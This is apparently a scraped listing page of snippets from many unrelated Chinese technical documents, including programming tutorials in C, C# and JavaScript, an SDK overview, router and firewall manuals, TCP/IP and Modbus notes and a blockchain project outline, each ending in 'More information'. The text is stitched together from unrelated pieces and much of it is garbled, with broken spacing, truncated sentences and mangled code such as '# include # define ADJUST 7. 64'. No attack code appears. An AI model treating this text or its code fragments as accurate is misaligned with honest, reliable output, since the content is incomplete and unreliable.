CHAPTER 1 CHAPTER 1 1-1 System Development Life Cycle; SDLC SDLC Waterfall Model Shelly 1995 1. Preliminary Investigation 2. System Analysis 3. System Design 4. System Development 5. System Implementation and Evaluation

More information

概述

概述 OPC Version 1.6 build 0910 KOSRDK Knight OPC Server Rapid Development Toolkits Knight Workgroup, eehoo Technology 2002-9 OPC 1...4 2 API...5 2.1...5 2.2...5 2.2.1 KOS_Init...5 2.2.2 KOS_InitB...5 2.2.3

More information

Microsoft Word - 第3章.doc

Microsoft Word - 第3章.doc Java C++ Pascal C# C# if if if for while do while foreach while do while C# 3.1.1 ; 3-1 ischeck Test() While ischeck while static bool ischeck = true; public static void Test() while (ischeck) ; ischeck

More information

SL2511 SR Plus 操作手冊_單面.doc

SL2511 SR Plus 操作手冊_單面.doc IEEE 802.11b SL-2511 SR Plus SENAO INTERNATIONAL CO., LTD www.senao.com - 1 - - 2 - .5 1-1...5 1-2...6 1-3...6 1-4...7.9 2-1...9 2-2 IE...11 SL-2511 SR Plus....13 3-1...13 3-2...14 3-3...15 3-4...16-3

More information

无类继承.key

无类继承.key 无类继承 JavaScript 面向对象的根基 周爱 民 / aimingoo aiming@gmail.com https://aimingoo.github.io https://github.com/aimingoo rand = new Person("Rand McKinnon",... https://docs.oracle.com/cd/e19957-01/816-6408-10/object.htm#1193255

More information

Microsoft Word - 01.DOC

Microsoft Word - 01.DOC 第 1 章 JavaScript 简 介 JavaScript 是 NetScape 公 司 为 Navigator 浏 览 器 开 发 的, 是 写 在 HTML 文 件 中 的 一 种 脚 本 语 言, 能 实 现 网 页 内 容 的 交 互 显 示 当 用 户 在 客 户 端 显 示 该 网 页 时, 浏 览 器 就 会 执 行 JavaScript 程 序, 用 户 通 过 交 互 式 的

More information

SDK 概要 使用 Maven 的用户可以从 Maven 库中搜索 "odps-sdk" 获取不同版本的 Java SDK: 包名 odps-sdk-core odps-sdk-commons odps-sdk-udf odps-sdk-mapred odps-sdk-graph 描述 ODPS 基

SDK 概要 使用 Maven 的用户可以从 Maven 库中搜索 odps-sdk 获取不同版本的 Java SDK: 包名 odps-sdk-core odps-sdk-commons odps-sdk-udf odps-sdk-mapred odps-sdk-graph 描述 ODPS 基 开放数据处理服务 ODPS SDK SDK 概要 使用 Maven 的用户可以从 Maven 库中搜索 "odps-sdk" 获取不同版本的 Java SDK: 包名 odps-sdk-core odps-sdk-commons odps-sdk-udf odps-sdk-mapred odps-sdk-graph 描述 ODPS 基础功能的主体接口, 搜索关键词 "odpssdk-core" 一些

More information

目 录 概 述...4 1 背 景.4 1.1 社 会 背 景...4 1.2 行 业 背 景...5 2 需 求 分 析..6 3 优 势 分 析....7 3.1 资 源 优 势.....7 3.2 品 牌 优 势.....7 3.3 技 术 优 势.....8 3.4 用 户 体 验.....

目 录 概 述...4 1 背 景.4 1.1 社 会 背 景...4 1.2 行 业 背 景...5 2 需 求 分 析..6 3 优 势 分 析....7 3.1 资 源 优 势.....7 3.2 品 牌 优 势.....7 3.3 技 术 优 势.....8 3.4 用 户 体 验..... 目 录 概 述...4 1 背 景.4 1.1 社 会 背 景...4 1.2 行 业 背 景...5 2 需 求 分 析..6 3 优 势 分 析....7 3.1 资 源 优 势.....7 3.2 品 牌 优 势.....7 3.3 技 术 优 势.....8 3.4 用 户 体 验.....8 4 综 合 解 决 方 案....9 4.1 资 源 应 用 服 务 方 案. 9 4.1.1 下

More information

C/C++语言 - 运算符、表达式和语句

C/C++语言 - 运算符、表达式和语句 C/C++ Table of contents 1. 2. 3. 4. C C++ 5. 6. 7. 1 i // shoe1.c: # include # define ADJUST 7. 64 # define SCALE 0. 325 int main ( void ) { double shoe, foot ; shoe = 9. 0; foot = SCALE * shoe

More information

六域链联盟 SDChain-Matrix 节点搭建指南 2018/07/26 Version : 1.0.0

六域链联盟 SDChain-Matrix 节点搭建指南 2018/07/26 Version : 1.0.0 SDChain-Matrix 节点搭建指南 目录 1 环境要求... 3 2 软件下载... 4 3 安装部署... 4 3.1 部署可执行程序目录... 4 3.2 部署配置文件目录... 4 3.3 部署数据库文件目录... 4 3.4 部署日志文件目录... 4 3.5 部署依赖库文件目录... 4 4 配置参数... 5 5 启动运行... 7 5.1 普通模式启动... 7 5.2 加载启动模式...

More information

Microsoft Word - Learn Objective-C.doc

Microsoft Word - Learn Objective-C.doc Learn Objective C http://cocoadevcentral.com/d/learn_objectivec/ Objective C Objective C Mac C Objective CC C Scott Stevenson [object method]; [object methodwithinput:input]; output = [object methodwithoutput];

More information

C 1

C 1 C homepage: xpzhangme 2018 5 30 C 1 C min(x, y) double C // min c # include # include double min ( double x, double y); int main ( int argc, char * argv []) { double x, y; if( argc!=

More information

C/C++语言 - C/C++数据

C/C++语言 - C/C++数据 C/C++ C/C++ Table of contents 1. 2. 3. 4. char 5. 1 C = 5 (F 32). 9 F C 2 1 // fal2cel. c: Convert Fah temperature to Cel temperature 2 # include < stdio.h> 3 int main ( void ) 4 { 5 float fah, cel ;

More information

2005 3

2005 3 Text 2009.4 hongqn@douban.com 2005 3 2.8M 1/4 20M / 500~600/sec 23 PC (1U*15/2U*8) 12 38G memcached 1U (frodo) AMD Athlon 64 1.8GHz 1G 160G SATA*2 Gentoo Linux MySQL 5 Quixote (a Python web framework)

More information

Microsoft Word - ch04三校.doc

Microsoft Word - ch04三校.doc 4-1 4-1-1 (Object) (State) (Behavior) ( ) ( ) ( method) ( properties) ( functions) 4-2 4-1-2 (Message) ( ) ( ) ( ) A B A ( ) ( ) ( YourCar) ( changegear) ( lowergear) 4-1-3 (Class) (Blueprint) 4-3 changegear

More information

KL DSC DEMO 使用说明

KL DSC DEMO 使用说明 :0755-82556825 83239613 : (0755)83239613 : http://www.kingbirdnet.com EMAIL Good989@163.com 1 1 KB3000 DTU... 3 1.1... 3 1.2... 3 1.3... 3 1.4... 3 2... 4 2.1 GSM/GPRS... 4 2.2... 4 2.3... 5 2.4... 6 2.5...

More information

C/C++ - 文件IO

C/C++ - 文件IO C/C++ IO Table of contents 1. 2. 3. 4. 1 C ASCII ASCII ASCII 2 10000 00100111 00010000 31H, 30H, 30H, 30H, 30H 1, 0, 0, 0, 0 ASCII 3 4 5 UNIX ANSI C 5 FILE FILE 6 stdio.h typedef struct { int level ;

More information

CC213

CC213 : (Ken-Yi Lee), E-mail: feis.tw@gmail.com 49 [P.51] C/C++ [P.52] [P.53] [P.55] (int) [P.57] (float/double) [P.58] printf scanf [P.59] [P.61] ( / ) [P.62] (char) [P.65] : +-*/% [P.67] : = [P.68] : ,

More information

(UTM???U_935_938_955_958_959 V2.1.9.1)

(UTM???U_935_938_955_958_959 V2.1.9.1) 192.16 www.sharetech.com.tw UTM 多 功 能 防 火 牆 管 理 者 手 冊 V 2.1.9.1 目 錄 第 一 章 安 裝 與 訊 息... 7 1-1 建 議 的 安 裝 設 定 圖... 8 1-2 軟 體 安 裝 設 定... 9 1-3 首 頁 訊 息... 14 1-4 型 號 與 功 能 對 照 表... 17 第 二 章 系 統 設 定... 19 2-1

More information

Bus Hound 5

Bus Hound 5 Bus Hound 5.0 ( 1.0) 21IC 2007 7 BusHound perisoft PC hound Bus Hound 6.0 5.0 5.0 Bus Hound, IDE SCSI USB 1394 DVD Windows9X,WindowsMe,NT4.0,2000,2003,XP XP IRP Html ZIP SCSI sense USB Bus Hound 1 Bus

More information

Microsoft PowerPoint - string_kruse [兼容模式]

Microsoft PowerPoint - string_kruse [兼容模式] Strings Strings in C not encapsulated Every C-string has type char *. Hence, a C-string references an address in memory, the first of a contiguous set of bytes that store the characters making up the string.

More information

Chap6.ppt

Chap6.ppt Computer Networks v4 cs.sjtu 12/21/12 6 Internet ftp://ftp.cs.sjtu.edu.cn/ybzhang 61 / 110 Computer Networks v4 cs.sjtu 12/21/12 ftp://ftp.cs.sjtu.edu.cn/ybzhang 62 / 110 Computer Networks v4 cs.sjtu 12/21/12

More information

國家圖書館典藏電子全文

國家圖書館典藏電子全文 EAI EAI Middleware EAI 3.1 EAI EAI Client/Server Internet,www,Jav a 3.1 EAI Message Brokers -Data Transformation Business Rule XML XML 37 3.1 XML XML XML EAI XML 1. XML XML Java Script VB Script Active

More information

基于ECO的UML模型驱动的数据库应用开发1.doc

基于ECO的UML模型驱动的数据库应用开发1.doc ECO UML () Object RDBMS Mapping.Net Framework Java C# RAD DataSetOleDbConnection DataGrod RAD Client/Server RAD RAD DataReader["Spell"].ToString() AObj.XXX bug sql UML OR Mapping RAD Lazy load round trip

More information

<4D6963726F736F667420506F776572506F696E74202D20A1B6CFEEC4BFD2BB20B3F5CAB6BCC6CBE3BBFACDF8C2E7A1B7C8CECEF1C8FD20CAECCFA4544350A1A24950D0ADD2E9BACD4950B5D8D6B72E707074>

<4D6963726F736F667420506F776572506F696E74202D20A1B6CFEEC4BFD2BB20B3F5CAB6BCC6CBE3BBFACDF8C2E7A1B7C8CECEF1C8FD20CAECCFA4544350A1A24950D0ADD2E9BACD4950B5D8D6B72E707074> 项 目 一 : 初 识 计 算 机 网 络 任 务 三 熟 悉 TCP/IP 协 议 和 IP 地 址 一. 学 习 要 求 : 学 习 要 求 及 难 点 1. 了 解 IP 协 议 TCP 协 议 和 UDP 协 议 2. 熟 悉 IP 地 址 的 划 分 和 分 类 3. 了 解 IPV6 的 地 址 结 构 二. 难 点 : 1. IP 地 址 三. 学 时 : 1. 理 论 教 学 :6

More information

ebook20-2

ebook20-2 2 1 / M A C R A M 3 2.1 1) 2) 3 ) C i s c o 2.1.1 M A C M A M A C F C S C a t a l y s t C A M content addressable memory C A M 2-1 A B C D A B B A 1 24 Cisco Catalyst A M A C 2-2 1 1 2 2 2-1 A 1 B WAC

More information

获取 Access Token access_token 是接口的全局唯一票据, 接入方调用各接口时都需使用 access_token 开发者需要进行妥善保存 access_token 的存储至少要保留 512 个字符空间 access_token 的有效期目前为 2 个小时, 需定时刷新, 重复

获取 Access Token access_token 是接口的全局唯一票据, 接入方调用各接口时都需使用 access_token 开发者需要进行妥善保存 access_token 的存储至少要保留 512 个字符空间 access_token 的有效期目前为 2 个小时, 需定时刷新, 重复 获取 Access Token access_token 是接口的全局唯一票据, 接入方调用各接口时都需使用 access_token 开发者需要进行妥善保存 access_token 的存储至少要保留 512 个字符空间 access_token 的有效期目前为 2 个小时, 需定时刷新, 重复 获取将导致上次获取的 access_token 失效 接入方可以使用 AppID 和 AppSecret

More information

一.NETGEAR VPN防火墙产品介绍

一.NETGEAR VPN防火墙产品介绍 NETGEAR VPN NETGEAR 6 http://www.netgear.com.cn - 1 - NETGEAR VPN... 4 1.1 VPN...4 1.2 Dynamic Domain Name Service...4 1.3 Netgear VPN...4 Netgear VPN... 6 2.1 FVS318 to FVS318 IKE Main...7 2.1.1 A VPN

More information

WWW PHP Comments Literals Identifiers Keywords Variables Constants Data Types Operators & Expressions 2

WWW PHP Comments Literals Identifiers Keywords Variables Constants Data Types Operators & Expressions 2 WWW PHP 2003 1 Comments Literals Identifiers Keywords Variables Constants Data Types Operators & Expressions 2 Comments PHP Shell Style: # C++ Style: // C Style: /* */ $value = $p * exp($r * $t); # $value

More information

PIC_SERVER (11) SMTP ( ) ( ) PIC_SERVER (10) SMTP PIC_SERVER (event driven) PIC_SERVER SMTP 1. E-

PIC_SERVER (11) SMTP  ( ) ( ) PIC_SERVER (10) SMTP  PIC_SERVER (event driven)  PIC_SERVER SMTP  1.  E- (2005-02-01) (2005-04-28) PIC_SERVER (10) SMTP E-mail PIC_SERVER (event driven) E-mail PIC_SERVER SMTP E-mail 1. E-mail E-mail 1 (1) (2) (3) (4) 1 1. 2 E-mail A E-mail B E-mail SMTP(Simple Mail Transfer

More information

VIDEOJET connect 7000 VJC-7000-90 zh- CHS Operation Manual VIDEOJET connect 7000 zh-chs 3 目 录 1 浏 览 器 连 接 7 1.1 系 统 要 求 7 1.2 建 立 连 接 7 1.2.1 摄 像 机 中 的 密 码 保 护 7 1.3 受 保 护 的 网 络 7 2 系 统 概 述 8 2.1 实 况

More information

LOOPRING 1.5 daniel@loopring.org alex@loopring.org jay@loopring.org Loopring Project Ltd foundation@loopring.org 2017 12 29 ERC20 dapp 1 2 1 3 2 3 3 5 3.1................................... 6 3.2................................

More information

ext-web-auth-wlc.pdf

ext-web-auth-wlc.pdf 使 用 无 线 局 域 网 控 制 器 的 外 部 Web 身 份 验 证 配 置 示 例 目 录 简 介 先 决 条 件 要 求 使 用 的 组 件 规 则 背 景 信 息 外 部 Web 身 份 验 证 过 程 网 络 设 置 配 置 为 来 宾 用 户 创 建 动 态 接 口 创 建 预 先 身 份 验 证 ACL 在 WLC 上 为 来 宾 用 户 创 建 本 地 数 据 库 配 置 外 部

More information

新・解きながら学ぶJava

新・解きながら学ぶJava 481! 41, 74!= 40, 270 " 4 % 23, 25 %% 121 %c 425 %d 121 %o 121 %x 121 & 199 && 48 ' 81, 425 ( ) 14, 17 ( ) 128 ( ) 183 * 23 */ 3, 390 ++ 79 ++ 80 += 93 + 22 + 23 + 279 + 14 + 124 + 7, 148, 16 -- 79 --

More information

02

02 Thinking in C++: Volume One: Introduction to Standard C++, Second Edition & Volume Two: Practical Programming C++ C C++ C++ 3 3 C C class C++ C++ C++ C++ string vector 2.1 interpreter compiler 2.1.1 BASIC

More information

( Version 0.4 ) 1

( Version 0.4 ) 1 ( Version 0.4 ) 1 3 3.... 3 3 5.... 9 10 12 Entities-Relationship Model. 13 14 15.. 17 2 ( ) version 0.3 Int TextVarchar byte byte byte 3 Id Int 20 Name Surname Varchar 20 Forename Varchar 20 Alternate

More information

1. 2. Flex Adobe 3.

1. 2. Flex Adobe 3. 1. 2. Flex Adobe 3. Flex Adobe Flex Flex Web Flex Flex Flex Adobe Flash Player 9 /rich Internet applications/ria Flex 1. 2. 3. 4. 5. 6. SWF Flash Player Flex 1. Flex framework Adobe Flex 2 framework RIA

More information

付宝容器 jsapi 档 册 PDF 版本 本版本为实验版本, 为线下独 查看使, 受制于 成 PDF 程序的限制, 样式问题还没有很好的解决, 例如分 切图 代码 亮 推荐使 在线版本, 便实时查看 jsapi 运 效果 如需搜索, 使 阅读 PDF 软件 带功能即可 更多细节样式调整和 录索引探

付宝容器 jsapi 档 册 PDF 版本 本版本为实验版本, 为线下独 查看使, 受制于 成 PDF 程序的限制, 样式问题还没有很好的解决, 例如分 切图 代码 亮 推荐使 在线版本, 便实时查看 jsapi 运 效果 如需搜索, 使 阅读 PDF 软件 带功能即可 更多细节样式调整和 录索引探 付宝容器 jsapi 档 册 PDF 版本 本版本为实验版本, 为线下独 查看使, 受制于 成 PDF 程序的限制, 样式问题还没有很好的解决, 例如分 切图 代码 亮 推荐使 在线版本, 便实时查看 jsapi 运 效果 如需搜索, 使 阅读 PDF 软件 带功能即可 更多细节样式调整和 录索引探索建设中 成时间 : 2017-07-20 12:13:21 Since 8.6 定义键盘 定义键盘使

More information

vsysintroch

vsysintroch 由 PoS 之 父 Sunny King 创建的区块链数据库云 重构区块链 !2 PoS 是什什么? PoS, 也被称为 Proof-of-Stake, 是 Sunny King 在 2012 年年发明的共识,PoS 本身就可以 支持分布式共识 而 无需能耗 PoS 是 2019 年年全球数字货币的 大热点, 据 staked.us 网站公布数据,2019 年年全球 PoS 激励奖励总币值将达到 250

More information

TCP/IP TCP/IP OSI IP TCP IP IP TCP/IP TCP/IP

TCP/IP TCP/IP OSI IP TCP IP IP TCP/IP TCP/IP TCP/IP : TCP/IP TCP/IP OSI IP TCP IP IP TCP/IP TCP/IP 1. ASCII EBCDIC Extended Binary-Coded Decimal Interchange Code 2. / (1) (2) Single System Image SSI) (3) I/O (4) 3.OSI OSI Open System Interconnection

More information

1 4 1.1 4 1.2..4 2..4 2.1..4 3.4 3.1 Java.5 3.1.1..5 3.1.2 5 3.1.3 6 4.6 4.1 6 4.2.6 5 7 5.1..8 5.1.1 8 5.1.2..8 5.1.3..8 5.1.4..9 5.2..9 6.10 6.1.10

1 4 1.1 4 1.2..4 2..4 2.1..4 3.4 3.1 Java.5 3.1.1..5 3.1.2 5 3.1.3 6 4.6 4.1 6 4.2.6 5 7 5.1..8 5.1.1 8 5.1.2..8 5.1.3..8 5.1.4..9 5.2..9 6.10 6.1.10 Java V1.0.1 2007 4 10 1 4 1.1 4 1.2..4 2..4 2.1..4 3.4 3.1 Java.5 3.1.1..5 3.1.2 5 3.1.3 6 4.6 4.1 6 4.2.6 5 7 5.1..8 5.1.1 8 5.1.2..8 5.1.3..8 5.1.4..9 5.2..9 6.10 6.1.10 6.2.10 6.3..10 6.4 11 7.12 7.1

More information

前言 C# C# C# C C# C# C# C# C# microservices C# More Effective C# More Effective C# C# C# C# Effective C# 50 C# C# 7 Effective vii

前言 C# C# C# C C# C# C# C# C# microservices C# More Effective C# More Effective C# C# C# C# Effective C# 50 C# C# 7 Effective vii 前言 C# C# C# C C# C# C# C# C# microservices C# More Effective C# More Effective C# C# C# C# Effective C# 50 C# C# 7 Effective vii C# 7 More Effective C# C# C# C# C# C# Common Language Runtime CLR just-in-time

More information

C C

C C C C 2017 3 8 1. 2. 3. 4. char 5. 2/101 C 1. 3/101 C C = 5 (F 32). 9 F C 4/101 C 1 // fal2cel.c: Convert Fah temperature to Cel temperature 2 #include 3 int main(void) 4 { 5 float fah, cel; 6 printf("please

More information

提问袁小兵:

提问袁小兵: C++ 面 试 试 题 汇 总 柯 贤 富 管 理 软 件 需 求 分 析 篇 1. STL 类 模 板 标 准 库 中 容 器 和 算 法 这 部 分 一 般 称 为 标 准 模 板 库 2. 为 什 么 定 义 虚 的 析 构 函 数? 避 免 内 存 问 题, 当 你 可 能 通 过 基 类 指 针 删 除 派 生 类 对 象 时 必 须 保 证 基 类 析 构 函 数 为 虚 函 数 3.

More information

新版 明解C++入門編

新版 明解C++入門編 511!... 43, 85!=... 42 "... 118 " "... 337 " "... 8, 290 #... 71 #... 413 #define... 128, 236, 413 #endif... 412 #ifndef... 412 #if... 412 #include... 6, 337 #undef... 413 %... 23, 27 %=... 97 &... 243,

More information

W. Richard Stevens UNIX Sockets API echo Sockets TCP OOB IO C struct C/C++ UNIX fork() select(2)/poll(2)/epoll(4) IO IO CPU 100% libevent UNIX CPU IO

W. Richard Stevens UNIX Sockets API echo Sockets TCP OOB IO C struct C/C++ UNIX fork() select(2)/poll(2)/epoll(4) IO IO CPU 100% libevent UNIX CPU IO Linux muduo C++ (giantchen@gmail.com) 2012-09-30 C++ TCP C++ x86-64 Linux TCP one loop per thread Linux native muduo C++ IT 5 C++ muduo 2 C++ C++ Primer 4 W. Richard Stevens UNIX Sockets API echo Sockets

More information

ebook140-8

ebook140-8 8 Microsoft VPN Windows NT 4 V P N Windows 98 Client 7 Vintage Air V P N 7 Wi n d o w s NT V P N 7 VPN ( ) 7 Novell NetWare VPN 8.1 PPTP NT4 VPN Q 154091 M i c r o s o f t Windows NT RAS [ ] Windows NT4

More information

BYOD Http Redirect convergence Client (1) 2008R2 NLB( ) (2) NLB Unicast mode switch flooding (arp ) NLB DNS Redirect 1. Round-Robin DNS DNS IP/DNS Cli

BYOD Http Redirect convergence Client (1) 2008R2 NLB( ) (2) NLB Unicast mode switch flooding (arp ) NLB DNS Redirect 1. Round-Robin DNS DNS IP/DNS Cli BYOD 204 2015 GoogleHicloud (Load Balance) Server Load Balance Link Load Balance Server Redirect 1. URL Redirect redirector URL redirect Real Server Client HTTP Real Server Web Client 2 (1) URL Redirect

More information

C6_ppt.PDF

C6_ppt.PDF C01-202 1 2 - (Masquerade) (Replay) (Message Modification) (Denial of Service) - ( ) (Eavesdropping) (Traffic Analysis) 8 1 2 7 3 6 5 4 3 - TCP SYN (SYN flood) Smurf Ping of Death LAND Attack Teardrop

More information

09 (File Processes) (mkdir) 9-3 (createnewfile) 9-4 (write) 9-5 (read) 9-6 (deletefile) 9-7 (deletedir) (Exercises)

09 (File Processes) (mkdir) 9-3 (createnewfile) 9-4 (write) 9-5 (read) 9-6 (deletefile) 9-7 (deletedir) (Exercises) 09 (File Processes) 9-1 9-2 (mkdir) 9-3 (createnewfile) 9-4 (write) 9-5 (read) 9-6 (deletefile) 9-7 (deletedir) (Exercises) Java Servlet 9-1 Servlet (File Processes) Client Servlet Servlet Java Java (Stream)

More information

/ / (FC 3)...

/ / (FC 3)... Modbus/TCP 1.0 1999 3 29 Andy Swales Schneider aswales@modicon.com ... 2 1.... 3 2.... 3 2.1.. 3 2.2..4 2.3..4 2.4... 5 3.... 5 3.1 0... 5 3.2 1... 5 3.3 2... 6 3.4 / /... 7 4.... 7 5.... 8 5.1 0... 9

More information

<B1B1BEA9B9E2BBB7D0C2CDF8BFC6BCBCB9C9B7DDD3D0CFDEB9ABCBBEB4B43F3F12FB6CB293>

<B1B1BEA9B9E2BBB7D0C2CDF8BFC6BCBCB9C9B7DDD3D0CFDEB9ABCBBEB4B43F3F12FB6CB293> 本 次 股 票 发 行 后 拟 在 创 业 板 市 场 上 市, 该 市 场 具 有 较 高 的 投 资 风 险 创 业 板 公 司 具 有 业 绩 不 稳 定 经 营 风 险 高 退 市 风 险 大 等 特 点, 投 资 者 面 临 较 大 的 市 场 风 险 投 资 者 应 充 分 了 解 创 业 板 市 场 的 投 资 风 险 及 本 公 司 所 披 露 的 风 险 因 素, 审 慎 作 出

More information

Fun Time (1) What happens in memory? 1 i n t i ; 2 s h o r t j ; 3 double k ; 4 char c = a ; 5 i = 3; j = 2; 6 k = i j ; H.-T. Lin (NTU CSIE) Referenc

Fun Time (1) What happens in memory? 1 i n t i ; 2 s h o r t j ; 3 double k ; 4 char c = a ; 5 i = 3; j = 2; 6 k = i j ; H.-T. Lin (NTU CSIE) Referenc References (Section 5.2) Hsuan-Tien Lin Deptartment of CSIE, NTU OOP Class, March 15-16, 2010 H.-T. Lin (NTU CSIE) References OOP 03/15-16/2010 0 / 22 Fun Time (1) What happens in memory? 1 i n t i ; 2

More information

1 1 大概思路 创建 WebAPI 创建 CrossMainController 并编写 Nuget 安装 microsoft.aspnet.webapi.cors 跨域设置路由 编写 Jquery EasyUI 界面 运行效果 2 创建 WebAPI 创建 WebAPI, 新建 -> 项目 ->

1 1 大概思路 创建 WebAPI 创建 CrossMainController 并编写 Nuget 安装 microsoft.aspnet.webapi.cors 跨域设置路由 编写 Jquery EasyUI 界面 运行效果 2 创建 WebAPI 创建 WebAPI, 新建 -> 项目 -> 目录 1 大概思路... 1 2 创建 WebAPI... 1 3 创建 CrossMainController 并编写... 1 4 Nuget 安装 microsoft.aspnet.webapi.cors... 4 5 跨域设置路由... 4 6 编写 Jquery EasyUI 界面... 5 7 运行效果... 7 8 总结... 7 1 1 大概思路 创建 WebAPI 创建 CrossMainController

More information

int *p int a 0x00C7 0x00C7 0x00C int I[2], *pi = &I[0]; pi++; char C[2], *pc = &C[0]; pc++; float F[2], *pf = &F[0]; pf++;

int *p int a 0x00C7 0x00C7 0x00C int I[2], *pi = &I[0]; pi++; char C[2], *pc = &C[0]; pc++; float F[2], *pf = &F[0]; pf++; Memory & Pointer trio@seu.edu.cn 2.1 2.1.1 1 int *p int a 0x00C7 0x00C7 0x00C7 2.1.2 2 int I[2], *pi = &I[0]; pi++; char C[2], *pc = &C[0]; pc++; float F[2], *pf = &F[0]; pf++; 2.1.3 1. 2. 3. 3 int A,

More information

EJB-Programming-4-cn.doc

EJB-Programming-4-cn.doc EJB (4) : (Entity Bean Value Object ) JBuilder EJB 2.x CMP EJB Relationships JBuilder EJB Test Client EJB EJB Seminar CMP Entity Beans Session Bean J2EE Session Façade Design Pattern Session Bean Session

More information

IP-Routing-05.pdf

IP-Routing-05.pdf RI P R I P - 2 RIP -1 R I P - 2 DV RIP -1 RIP-2 16... RIP-2 RIP-2 RIP -1 R I P - 2 RIP-2 RIP-2 RIP-2 V L S M disc ontiguous addr ess sp ace C I D R Cla ssless In ter -Dom ain Routing 121 1 2 2 IP RIP-2

More information

untitled

untitled 1 Outline 類别 欄 (1) 類 類 狀 更 易 類 理 若 類 利 來 利 using 來 namespace 類 ; (2) namespace IBM class Notebook namespace Compaq class Notebook 類别 類 來 類 列 欄 (field) (property) (method) (event) 類 例 立 來 車 類 類 立 車 欄 料

More information

ebook71-13

ebook71-13 13 I S P Internet 13. 2. 1 k p p p P P P 13. 2. 2 1 3. 2. 3 k p p p 1 3. 2. 4 l i n u x c o n f P P P 13. 2. 5 p p p s e t u p 13. 2. 6 p p p s e t u p P P P 13. 2. 7 1 3. 2. 8 C a l d e r a G U I 13.

More information

新美大酒店开放平台SDK(.NET版)使用说明.pages

新美大酒店开放平台SDK(.NET版)使用说明.pages SDK(.NET 版 ) 使 用说明 1 SDK 包说明 1.1 获取 SDK SDK 可以在数据平台下载, 也可直接通过下载地址获得 下载地址 : http://s3.meituan.net/v1/mss_de81c933e113413ea913a772b707b9c9/open-platform-sdk/mthotelopenplatform-sdk-1.0-net.zip 下载成功后, 解压后可获得

More information

OOP with Java 通知 Project 4: 4 月 18 日晚 9 点 关于抄袭 没有分数

OOP with Java 通知 Project 4: 4 月 18 日晚 9 点 关于抄袭 没有分数 OOP with Java Yuanbin Wu cs@ecnu OOP with Java 通知 Project 4: 4 月 18 日晚 9 点 关于抄袭 没有分数 复习 类的复用 组合 (composition): has-a 关系 class MyType { public int i; public double d; public char c; public void set(double

More information

ch08.PDF

ch08.PDF 8-1 CCNA 8.1 CLI 8.1.1 8-2 8-3 8.1.21600 2500 1600 2500 / IOS 8-4 8.2 8.2.1 A 5 IP CLI 1600 2500 8-5 8.1.2-15 Windows 9598NT 2000 HyperTerminal Hilgraeve Microsoft Cisco HyperTerminal Private Edition (PE)

More information

Microsoft Word - SupplyIT manual 3_cn_david.doc

Microsoft Word - SupplyIT manual 3_cn_david.doc MR PRICE Supply IT Lynette Rajiah 1 3 2 4 3 5 4 7 4.1 8 4.2 8 4.3 8 5 9 6 10 6.1 16 6.2 17 6.3 18 7 21 7.1 24 7.2 25 7.3 26 7.4 27 7.5 28 7.6 29 7.7 30 7.8 31 7.9 32 7.10 32 7.11 33 7.12 34 1 7.13 35 7.14

More information

EPSON

EPSON NPD5493-00 TC .... 5....5....5....6 SSL/TLS....7....7 IP....8.... 8 Web Config...9 Web Config...10 EpsonNet Config...11 EpsonNet Config Windows...11 EpsonNet Config Windows...11 EpsonNet Config - Windows...

More information

RUN_PC連載_8_.doc

RUN_PC連載_8_.doc PowerBuilder 8 (8) Web DataWindow ( ) DataWindow Web DataWindow Web DataWindow Web DataWindow PowerDynamo Web DataWindow / Web DataWindow Web DataWindow Wizard Web DataWindow Web DataWindow DataWindow

More information

1. 软 件 核 武 器 CTreeNode 基 本 原 理 以 下 详 细 介 绍 这 一 技 术 的 基 本 原 理 -CTreeNode 这 是 一 种 数 据 结 构, 类 似 于 CObject 存 在 于 内 存 中 1. 能 够 以 树 形 的 方 式 嵌 套 存 贮 非 常 复 杂

1. 软 件 核 武 器 CTreeNode 基 本 原 理 以 下 详 细 介 绍 这 一 技 术 的 基 本 原 理 -CTreeNode 这 是 一 种 数 据 结 构, 类 似 于 CObject 存 在 于 内 存 中 1. 能 够 以 树 形 的 方 式 嵌 套 存 贮 非 常 复 杂 目 录 1. 软 件 核 武 器 CTreeNode 基 本 原 理... 2 2. 软 件 核 武 器 CTreeNode 的 重 要 意 义... 3 3. CTreeNode 1 个 月 内 能 实 现 的 应 用 场 景... 4 4. 常 见 质 疑 :... 4 1) 质 疑 1- 相 对 Socket 有 何 优 势... 4 2) 质 疑 2- 相 对 XML_Thrift,CTreeNode

More information

BOOL EnumWindows(WNDENUMPROC lparam); lpenumfunc, LPARAM (Native Interface) PowerBuilder PowerBuilder PBNI 2

BOOL EnumWindows(WNDENUMPROC lparam); lpenumfunc, LPARAM (Native Interface) PowerBuilder PowerBuilder PBNI 2 PowerBuilder 9 PowerBuilder Native Interface(PBNI) PowerBuilder 9 PowerBuilder C++ Java PowerBuilder 9 PBNI PowerBuilder Java C++ PowerBuilder NVO / PowerBuilder C/C++ PowerBuilder 9.0 PowerBuilder Native

More information

UDP 8.2 TCP/IP OSI OSI 3 OSI TCP/IP IP TCP/IP TCP/IP Transport Control Protocol TCP User Datagram Protocol UDP TCP TCP/IP IP TCP TCP/IP TC

UDP 8.2 TCP/IP OSI OSI 3 OSI TCP/IP IP TCP/IP TCP/IP Transport Control Protocol TCP User Datagram Protocol UDP TCP TCP/IP IP TCP TCP/IP TC 8 TCP/IP TCP/IP TCP OSI 8.1 OSI 4 end to end A B FTP OSI Connection Management handshake Flow Control Error Detection IP Response to User s Request TCP/IP TCP 181 UDP 8.2 TCP/IP OSI OSI 3 OSI 3 8.1 TCP/IP

More information

R3105+ ADSL

R3105+ ADSL ... 1 1 1... 1 1 2... 1... 3 2 1... 3 2 2... 3 2 3... 5 2 4... 5 2 4 1... 5... 7 3 1... 7 3 2... 8 3 2 1... 8 3 2 2... 9 3 3... 12 3 3 1... 13 3 3 2 WAN... 16 3 3 3 LAN... 21 3 3 4 NAT... 22 3 3 5... 24

More information

RUN_PC連載_10_.doc

RUN_PC連載_10_.doc PowerBuilder 8 (10) Jaguar CTS ASP Jaguar CTS PowerDynamo Jaguar CTS Microsoft ASP (Active Server Pages) ASP Jaguar CTS ASP Jaguar CTS ASP Jaguar CTS ASP Jaguar CTS ASP Jaguar CTS ASP Jaguar Server ASP

More information

康养链区块链运行模式-3

康养链区块链运行模式-3 康养链区块链运 行行模式 PART 01 康养链介绍 康养链介绍 康养链 (kang yang chain) 是 一款基于区块链技术, 集 金金融, 服务 医疗 康复社区 的国家政策 支持发展的 生态服务 玩家可在康养链中 通过挖矿 认购 投资交易易, 创造服务 建设服务标准 获得利利益, 甚 至可以探索医疗 行行业, 将去中 心化的供应量量 金金融, 将传统的供应链交易易 方式转换成可信的业务往来,

More information

